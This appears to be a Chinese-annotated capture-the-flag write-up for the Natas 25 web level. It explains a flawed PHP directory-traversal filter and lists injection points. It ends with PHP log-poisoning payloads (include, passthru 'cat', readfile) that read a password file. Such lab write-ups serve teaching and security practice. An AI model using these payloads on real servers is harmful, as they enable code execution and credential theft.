function setLanguage(){          //选择语言

    /* language setup */

    if(array_key_exists("lang",$_REQUEST))  //如果请求提交的参数中存在lang

        if(safeinclude("language/" . $_REQUEST["lang"] )) //检查输入

            return 1;

    safeinclude("language/en");

}

function safeinclude($filename){  //检查输入参数

    // check for directory traversal    检查目录遍历

	//strstr() 函数搜索字符串在另一字符串中是否存在，如果是，返回该字符串及剩余部分，否则返回 FALSE。

	//str_replace($search,$replace,$subject)：将$subject中的$search 都被$replace替换

	//下面代码的意思是，如果filename中含有"../"，表明受到了目录遍历攻击，则将filename中的"../"替换为""，以防止目录遍历

    if(strstr($filename,"../")){

        logRequest("Directory traversal attempt! fixing request.");

        $filename=str_replace("../","",$filename);

    }

    // dont let ppl steal our passwords   文件访问控制

	//下面代码的意思是，如果filename中含有"natas_webpass"，表明用户试图访问非法文件，则退出程序

    if(strstr($filename,"natas_webpass")){

        logRequest("Illegal file access detected! Aborting!");

        exit(-1);

    }

    // add more checks...

    if (file_exists($filename)) {  //检测目录是否存在

        include($filename);

        return 1;

    }

    return 0;

}

function logRequest($message){                 		//请求日志

    $log="[". date("d.m.Y H::i:s",time()) ."]";		//时间日期

    $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];	//加http_user_agent

    $log=$log . " \"" . $message ."\"\n"; 			//加上message

    $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");

    fwrite($fd,$log);								//将日志信息写入文件

    fclose($fd);

}

.$_REQUEST["lang"]              即get/post注入

.$_SERVER['HTTP_USER_AGENT']    http头部信息注入

.session_id()                   cookie注入

<?php include("/etc/natas_webpass/natas26")?>

<?php echo file_get_contents("/etc/natas_webpass/natas26")?>

<?php passthru("cat /etc/natas_webpass/natas26")?>

<?php readfile("/etc/natas_webpass/natas26")?>